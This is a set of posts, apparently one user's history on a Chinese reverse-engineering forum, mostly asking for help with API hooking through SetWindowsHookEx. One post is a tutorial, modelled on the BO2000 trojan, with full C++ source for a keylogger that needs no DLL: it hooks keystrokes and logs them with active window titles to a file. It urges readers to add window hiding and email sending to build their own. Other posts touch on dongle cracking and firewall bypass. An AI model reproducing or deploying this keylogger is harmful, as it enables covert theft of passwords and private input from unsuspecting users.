|
|
|
[原创]Hook Api lib 0.5 - 2008.04.16更新
写在DLL里面也无法全局hook... 以下是DLL中的代码 #include "stdafx.h" HANDLE handle = NULL; BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { handle = hModule; return TRUE; } HHOOK g_hHook = NULL; //全局钩子函数句柄 PHOOKENVIRONMENT pHookEnv = 0; BOOL IsMe = FALSE; //先定义一下要hook的WINAPI typedef HMODULE (WINAPI __pfnLoadLibraryA)(LPCTSTR lpFileName); HMODULE WINAPI My_LoadLibraryA(DWORD RetAddr, __pfnLoadLibraryA pfnLoadLibraryA, LPCTSTR lpFileName ) { HMODULE hLib; //需要自己处理重入和线程安全问题 if (!IsMe) { IsMe = TRUE; // MessageBox(NULL,lpFileName,TEXT("test"),MB_ICONINFORMATION); hLib = LoadLibrary(lpFileName);//这里调用的是系统的,已经被hook过的 IsMe = FALSE; // //这里是卸载Hook,这里卸载完就不能用pfnLoadLibraryA来调用了 // UnInstallHookApi((PHOOKENVIRONMENT)pfnLoadLibraryA); return hLib; } return pfnLoadLibraryA(lpFileName);//这里调用非hook的 } LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) { // 安装ApiHook if (!pHookEnv) { pHookEnv = InstallHookApi("Kernel32.dll", "LoadLibraryA", My_LoadLibraryA); if (pHookEnv) { ::MessageBoxA(NULL,"1111111","Very Good!!",MB_ICONINFORMATION); } } return CallNextHookEx(g_hHook,nCode,wParam,lParam); } __declspec(dllexport) BOOL WINAPI InstallHook() { // 初始化挂钩函数 g_hHook=SetWindowsHookEx(3,KeyboardProc,(HINSTANCE)handle,0); if (!g_hHook) { return FALSE; } return TRUE; } __declspec(dllexport) BOOL WINAPI UnHook() { if (g_hHook) { return UnhookWindowsHookEx(g_hHook); } return FALSE; } 以下是exe中的代码 void CHookApiAppDlg::OnOK() { _asm cpuid __pfnInstallHook InstallHook; HINSTANCE hinstLib = LoadLibrary("fit_crk.dll"); InstallHook = (__pfnInstallHook)GetProcAddress(hinstLib,"InstallHook"); BOOL bRet = InstallHook();//[B][COLOR="Red"]用OD运行到此,发觉没有HOOK掉那个函数,但是返回是1[/COLOR][/B] FreeLibrary(hinstLib); } |
|
[原创]Hook Api lib 0.5 - 2008.04.16更新
请注意,你还是没有测试!并不需要DLL才能HOOK别的程序的键盘输入的. 看我贴的那段代码,编译成exe以后可以log大多数的程序的键盘输入,所以说明此刻SetWindowsHookEx成功执行,功能也正常. 我现在的问题是把楼主的这些APIHOOK的代码想让它在所有模块中有效,请问该如何处理? |
|
[分享]LoadDll.exe - 100%可以停在入口
感谢楼主的好东西,下载测试 |
|
[下载]Reverse Engineering Code with IDA Pro
感谢分享,下载下来学习一下 |
|
|
|
[原创]Hook Api lib 0.5 - 2008.04.16更新
我们Windows系统是建立在消息传递的事件驱动的机制上。用钩子可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。键盘记录者的原理就是使用键盘钩子截获键盘消息。当然,并非键盘记录一定要使用钩子,比如WinEggDrop的无钩子键盘记录者。 一般书上都会说:“全局钩子函数必须包含在DLL中,而线程专用钩子还可以包含在可执行文件中”。即如果钩子过程在应用程序中实现,只对该程序起作用;如果钩子过程在DLL中实现,程序在运行中动态调用它,它能对整个系统进行监控。我们做键盘记录当然希望是针对整个系统的了,所以我们发现很多键盘记录者或者带键盘记录功能的木马服务端里都包含用来支持键盘记录的DLL文件。多了DLL文件既增加了程序的体积,也容易因为丢了DLL文件而丧失了键盘记录的功能。本文要讲的是,并非全局键盘钩子一定要在DLL文件中实现,程序中亦可以实现全局钩子。本文的方法来自著名木马BO2000,下面将会向大家详细解说如何实现既使用键盘钩子而又无DLL键盘记录者。 先说点基础知识。实现一个键盘钩子,必须调用API函数SetWindowsHookEx来安装这个钩子函数,这个函数的原型为:HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);其中,第一个参数是钩子的类型;第二个参数是钩子函数的地址;第三个参数是包含钩子函数的模块句柄;第四个参数指定监视的线程。我们要实现一个全局钩子,所以第四个参数需设置为空。得到控制权的钩子函数在完成对消息的处理后,调用API函数CallNextHookEx来传递该消息。关于钩子的详细介绍读者可参考其它书籍。 本文使用的编程工具为VC++6.0。具体实现步骤和代码解析如下: 1、生成一个基于对话框的程序SEUKBSpy。打开SEUKBSpyDlg.cpp文件。加入下面的全局变量和键盘钩子函数。 HHOOK g_hHook = NULL; //全局钩子函数句柄 HWND g_hLastFocus = NULL; //活动窗体句柄 //键盘钩子函数 LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) { FILE* out; SYSTEMTIME sysTm; ::GetLocalTime(&sysTm); int m_nYear = sysTm.wYear; int m_nMonth = sysTm.wMonth; int m_nDay = sysTm.wDay; char filename[100];//保存文件名 sprintf(filename,"Key_%d_%d_%d.log",m_nYear,m_nMonth,m_nDay); if(nCode<0) return CallNextHookEx(g_hHook,nCode,wParam,lParam); if(nCode==HC_ACTION)//HC_ACTION表明lParam指向一消息结构 { EVENTMSG *pEvt=(EVENTMSG *)lParam; if(pEvt->message==WM_KEYDOWN)//判断是否是击键消息 { DWORD dwCount; char svBuffer[256]; int vKey,nScan; vKey=LOBYTE(pEvt->paramL); nScan=HIBYTE(pEvt->paramL);//扫描码 nScan<<=16; //检查当前窗口焦点是否改变 HWND hFocus=GetActiveWindow(); if(g_hLastFocus!=hFocus) {//保存窗口标题到文件中 char svTitle[256]; int nCount; nCount=GetWindowText(hFocus,svTitle,256); if(nCount>0) { out=fopen(filename,"a+"); fprintf(out,"\r\n-----活动窗口[%s]-----\r\n",svTitle); fclose(out); } g_hLastFocus=hFocus; } // Write out key dwCount=GetKeyNameText(nScan,svBuffer,256); if(dwCount)//如果所击键在虚拟键表之中 { if(vKey==VK_SPACE) { svBuffer[0]=' '; svBuffer[1]='\0'; dwCount=1; } if(dwCount==1)//如果是普通键则将其对应的ascii码存入文件 { BYTE kbuf[256]; WORD ch; int chcount; GetKeyboardState(kbuf); chcount=ToAscii(vKey,nScan,kbuf,&ch,0); /*根据当前的扫描码和键盘信息,将一个虚拟键转换成ASCII字符*/ if(chcount>0) { out=fopen(filename,"a+"); fprintf(out,"%c",char(ch)); fclose(out); } } else//如果是Ctrl、Alt之类则直接将其虚拟键名存入文件 { out=fopen(filename,"a+"); fprintf(out,"[%s]",svBuffer); fclose(out); if(vKey==VK_RETURN)//回车 { out=fopen(filename,"a+"); fprintf(out,"\r\n"); fclose(out); } } } } } return CallNextHookEx(g_hHook,nCode,wParam,lParam); } 2、下面是本程序的精华所在。添加按钮[开始记录]及其响应函数OnStart()并在该函数中卸载钩子: void CSEUKBSpyDlg::OnStart() { g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),0); }这里用GetModuleHandle(NULL)来把自身作为一个保存钩子处理函数的dll,非常巧妙实用,也是这个本程序的精华所在。 3、添加按钮[开始记录]及其响应函数OnStop()并在该函数中卸载钩子: void CSEUKBSpyDlg::OnStop() { if(g_hHook) UnhookWindowsHookEx(g_hHook); } 通过上面几步就可以实现一个无DLL文件的键盘记录者,测试一下就可以得到类似于“SEU_2006_5_3.log”文件名的键盘记录日志文件。再加上隐藏窗口和邮件发送功能是不是就成了一个很实用的键盘记录者?赶快动手打造自己的键盘记录者吧。 |
|
[原创]Hook Api lib 0.5 - 2008.04.16更新
那请问该如何操作呢?前提是不采用dll. 以下是MSDN的钩子类型 Hook Scope WH_CALLWNDPROC Thread or global WH_CALLWNDPROCRET Thread or global WH_CBT Thread or global WH_DEBUG Thread or global WH_FOREGROUNDIDLE Thread or global WH_GETMESSAGE Thread or global WH_JOURNALPLAYBACK Global only WH_JOURNALRECORD Global only WH_KEYBOARD Thread or global WH_KEYBOARD_LL Global only WH_MOUSE Thread or global WH_MOUSE_LL Global only WH_MSGFILTER Thread or global WH_SHELL Thread or global WH_SYSMSGFILTER Global only |
|
[原创]Hook Api lib 0.5 - 2008.04.16更新
还是不会用这个函数挂钩,看我下面的代码,是一个对话框程序,我没有按照Hook必须写dll的规矩.不知道哪里出错了,运行点击确定按钮第一次,会弹出111对话框,说明HookApi执行了,但是222没有没有出现,只有再次点击确定按钮,才会出现.但是此时用OD打开别的程序,hook的那个函数并没有改变,请楼主赐教! void CHookApiAppDlg::OnOK() { // 初始化挂钩函数 g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),//这是把exe本身作为挂钩函数的模块0); if (!g_hHook) { MessageBoxA("SetHook Error!",0,0); } if (pHookEnv) { MessageBoxA("2222!!!","Very Good!!",MB_ICONINFORMATION); } } void CHookApiAppDlg::OnDestroy() { CDialog::OnDestroy(); // 卸载挂钩函数 if (g_hHook) { UnhookWindowsHookEx(g_hHook); } } void CHookApiAppDlg::OnCancel() { BOOL bRet = UnInstallHookApi(pHookEnv); if (bRet) { ::MessageBoxA(NULL,"UnInstall Success!!!","Good!!",MB_ICONINFORMATION); } CDialog::OnOK(); } LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) { // 安装ApiHook if (!pHookEnv) { pHookEnv = InstallHookApi("Kernel32.dll", "LoadLibraryA", My_LoadLibraryA); if (pHookEnv) { ::MessageBoxA(NULL,"1111111","Very Good!!",MB_ICONINFORMATION); } } return CallNextHookEx(g_hHook,nCode,wParam,lParam); } |
|
[原创]YeahTrack v1.0
楼主继续完善更新,值得期待的插件啊 |
|
[原创]阳春三月屠狗记
或者你用depends看看你的dll依赖哪些dll? 把出错提示贴出来..... BTW:另外你这个有点太简单了,还是一个标志位的加密狗而已,尝试一下最新的方正飞腾或者飞旋的狗?或者狗里面有算法的? |
|
[原创]阳春三月屠狗记
后记:在本机上调试通过,将OLD32DLL.dll,如法复制至同事机器上,提示出错,百思不得其解,好在神灵有知,下午忽有灵仿,是否由于是VC2008,这个dll不是以前那种本地dll? 在同事机器上装上net framework3.5运行时支持库,一切以完美收场,事后不痛骂老比设计VC2008变态,难解心头愤恨。。。。。。 ============= 跟.net没有关系吧?应该是别人的机器没有VC2008的运行库文件吧? 你试试把DLL所依赖的dll静态链接试试? |
|
[求助]Vista下防火墙穿越
你老板开多少钱啊?叫你研究这个?这些东西的价值好像不菲哦 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值